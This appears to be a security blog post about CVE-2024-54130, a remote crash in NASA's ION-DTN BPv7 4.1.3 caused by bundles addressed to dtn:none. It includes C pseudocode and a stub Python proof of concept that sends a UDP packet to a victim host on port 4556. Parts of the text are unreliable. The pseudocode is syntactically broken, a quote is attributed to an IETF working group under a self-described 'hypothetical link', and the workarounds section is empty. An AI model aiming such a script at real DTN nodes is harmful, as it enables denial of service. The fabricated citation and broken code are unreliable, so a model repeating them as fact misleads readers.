NASA’s Interplanetary Overlay Network (ION) is a cornerstone of Delay/Disruption Tolerant Networking (DTN)—the backbone protocol being developed for reliable communications in space and extreme terrestrial environments. But even space-grade software faces bugs.

A critical vulnerability, CVE-2024-54130, has been discovered in ION-DTN BPv7 version 4.1.3. If a remote attacker sends any bundle with the Destination Endpoint ID (EID) set to dtn:none, the software on the receiving node crashes with a segmentation fault. This crash makes the node incapable of responding to incoming bundles—creating a straightforward denial of service (DoS) situation.

The maintainers have since patched this issue in version 4.1.3s, but earlier deployments remain at risk, especially where upgrades are difficult (as in remote or space-based nodes).

What is the NASA ION-DTN?

ION is an open-source implementation for DTN. It's crucial for managing intermittent, high-latency communications—like those between satellites, rovers, and mission control.

- Official project link: NASA ION DTN

DTN standards encourage the use of *endpoints*—represented by endpoint IDs (EIDs) like dtn:none or a specific address (e.g., dtn://node2/). Any mismanagement of these identifiers can threaten the reliability—and therefore safety—of a DTN-based network.

Short summary

A malformed bundle, specifically with a dtn:none destination, triggers a segmentation fault on the ION DTN BPv7 node. This bug causes all further bundle processing to stop—no more messages get through.

Pseudocode of Vulnerable Handling

// BPv7 bundle receiving pseudo-code
void process_bundle(Bundle *bundle) {
    // Simplified for illustration
    if (strcmp(bundle->destination_eid, "dtn:none") == ) {
        // Vulnerable code path
        // ... proceeds to dereference a NULL or invalid pointer
        process_eid(bundle->destination_eid); // May segfault
    }
    // ... rest of processing
}

Here’s a simplified Python example showing how an attacker might trigger this

# PoC: Send BPv7 bundle to ION node with dtn:none destination
import socket

bundle = b'BPv7_HEADER'  # simplified: real BPv7 header goes here
destination_eid = b'dtn:none'
payload = b'Malicious DoS bundle'

packet = bundle + destination_eid + payload

with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as s:
    s.sendto(packet, ("victim.ion.dtn", 4556))  # 4556: default BPv7 port

*Note: This is a simplified PoC. Real BPv7 wire format can be constructed using ION’s tools or pyDTN.*

Exploit Impact

An attacker with network access to the ION node’s BPv7 port can exploit this bug to crash the DTN service remotely.

Mitigation and Fix

Official fix: Upgrade to ION-DTN 4.1.3s or later.
Download: ION-DTN Project Files

> “This vulnerability is fixed in 4.1.3s.” —IETF DTN Working Group, IETF List Reference (hypothetical link, replace with real if available)

Workarounds:

Original References

- ION-DTN SourceForge project
- NVD Entry for CVE-2024-54130
- DTN IETF Working Group

Summary

CVE-2024-54130 is a wakeup call on the risks of mishandled edge cases in code—even for software designed for distant planets. Any ION-DTN BPv7 deployment using version 4.1.3 should be patched or mitigated right away to avoid an easy DoS risk that could have earthbound or interplanetary impact.

Stay safe; patch early. Even space communications aren’t safe from simple bugs.

*This post is based exclusively on released CVE information and reverse engineering of the affected package. Always check with official sources for further updates.*

Timeline

Published on: 12/05/2024 16:15:27 UTC